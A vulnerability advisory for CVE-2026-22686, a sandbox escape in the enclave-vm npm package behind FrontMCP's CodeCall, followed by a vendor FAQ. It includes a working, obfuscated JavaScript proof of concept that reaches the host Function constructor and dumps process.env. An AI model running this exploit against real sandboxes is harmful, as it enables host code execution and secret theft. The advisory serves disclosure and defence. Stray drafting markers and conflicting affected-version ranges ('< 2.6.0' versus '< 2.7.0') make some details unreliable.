CVE-2026-22686

A critical sandbox escape vulnerability exists in enclave-vm (affected: < 2.6.0, patched: 2.7.0) that can allow untrusted, sandboxed JavaScript to execute arbitrary code in the host Node.js runtime.

When a tool invocation fails, enclave-vm exposes a host-side Error object to sandboxed code. This Error object retains its host realm prototype chain, which can be traversed to reach the host Function constructor:

Error instance → Error.prototype → Error constructor → Function constructor

With access to the host Function constructor, an attacker can compile and execute arbitrary JavaScript in the host context, bypassing the sandbox boundary and potentially gaining access to sensitive resources such as process.env, filesystem, and network.

This breaks enclave-vm’s core security guarantee of isolating untrusted code.

Ecosystem Impact (FrontMCP / CodeCall)

FrontMCP is a TypeScript-first framework for building MCP servers, and the CodeCall plugin enables models to orchestrate large toolsets by generating and executing JavaScript plans.

Enclave is the defense-in-depth sandbox layer behind CodeCall (AST validation + runtime sandboxing). If you use FrontMCP CodeCall for agent tool execution, you should treat this as an urgent upgrade and ensure your runtime is on a patched enclave-vm version.

Live Playground (Safe Exploration & Testing)

To explore Enclave’s execution model (AgentScript + tool calls) and validate your integration behavior, use the live playground:

• EnclaveVM Playground: https://enclave.agentfront.dev

This is the quickest way to understand the sandbox / tool-call flow and confirm your environment is running a patched setup.

Timeline (Fast Fix)

• Fix released: [email protected] (Jan 9, 2026)
• Advisory published: Jan 13, 2026

Proof of Concept

⚠️ For defensive validation and maintainers. Do not run PoCs on hosts you don’t own/control.

// Vector 35: The Host Error Escape
// Purpose: Trigger a Host-side error and traverse its prototype chain
// to reach the Host Function constructor.

const s = (...args) => String.fromCharCode(...args);

const kCon    = s(99,111,110,115,116,114,117,99,116,111,114); // "constructor"
const kProto  = s(95,95,112,114,111,116,111,95,95);           // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95);
const kCode   = s(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,101,110,118);
const kPtype  = s(112,114,111,116,111,116,121,112,101);

try {
    const ObjectProto = Object[kPtype];
    const lookup = ObjectProto[kLookup];
    const getProtoNative = lookup.call(ObjectProto, kProto);

    let hostError;
    try {
        await callTool('THIS_TOOL_DOES_NOT_EXIST_XYZ', {});
    } catch (e) {
        hostError = e;
    }

    const errProto = getProtoNative.call(hostError);
    const ErrorCtor = errProto[kCon];
    const HostFunc = ErrorCtor[kCon];

    const exploitFn = HostFunc(kCode);
    return exploitFn();
} catch (e) {
    return e.message;
}

Mitigation / Remediation

Immediate action:

• Upgrade enclave-vm to 2.7.0+

Defense-in-depth guidance:

• Re-create all Error objects crossing the sandbox boundary inside the sandbox realm
• Strip / freeze prototype chains of host objects
• Prevent access to host Function constructors
• Harden tool error handling to avoid leaking host-native objects

References

• GitHub Security Advisory: https://github.com/agentfront/enclave/security/advisories/GHSA-7qm7-455j-5p63
• npm package: https://www.npmjs.com/package/enclave-vm
• Enclave repo: https://github.com/agentfront/enclave
• FrontMCP docs: https://agentfront.dev/docs
• CodeCall plugin overview: https://agentfront.dev/docs/plugins/overview
• EnclaveVM Playground: https://enclave.agentfront.dev/

Factual hooks (for correctness):
- GHSA page confirms **affected `<2.6.0`** and **patched `2.7.0`**, plus CVSS 10.0 and the exact vulnerability description. :contentReference[oaicite:0]{index=0}  
- FrontMCP docs explicitly describe **CodeCall** and that it uses **Enclave (AST validation + runtime sandboxing)**. :contentReference[oaicite:1]{index=1}  
- FrontMCP positioning (“TypeScript-first framework for MCP…”) is stated in the docs. :contentReference[oaicite:2]{index=2}  
- Enclave repo links the **Live Demo** at `enclave.agentfront.dev`. :contentReference[oaicite:3]{index=3}  
- Release listing shows `[email protected]` dated **Jan 9** (fast fix signal). :contentReference[oaicite:4]{index=4}
::contentReference[oaicite:5]{index=5}

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2026-22686 has a CVSS score of 10.0 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.7.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-22686? CVE-2026-22686 is a critical-severity code injection vulnerability in enclave-vm (npm), affecting versions < 2.7.0. It is fixed in 2.7.0. Untrusted input is evaluated as executable code within the application's runtime environment.
2. How severe is CVE-2026-22686? CVE-2026-22686 has a CVSS score of 10.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of enclave-vm are affected by CVE-2026-22686? enclave-vm (npm) versions < 2.7.0 is affected.
4. Is there a fix for CVE-2026-22686? Yes. CVE-2026-22686 is fixed in 2.7.0. Upgrade to this version or later.
5. Is CVE-2026-22686 exploitable, and should I be worried? Whether CVE-2026-22686 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-22686 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-22686? Upgrade enclave-vm to 2.7.0 or later.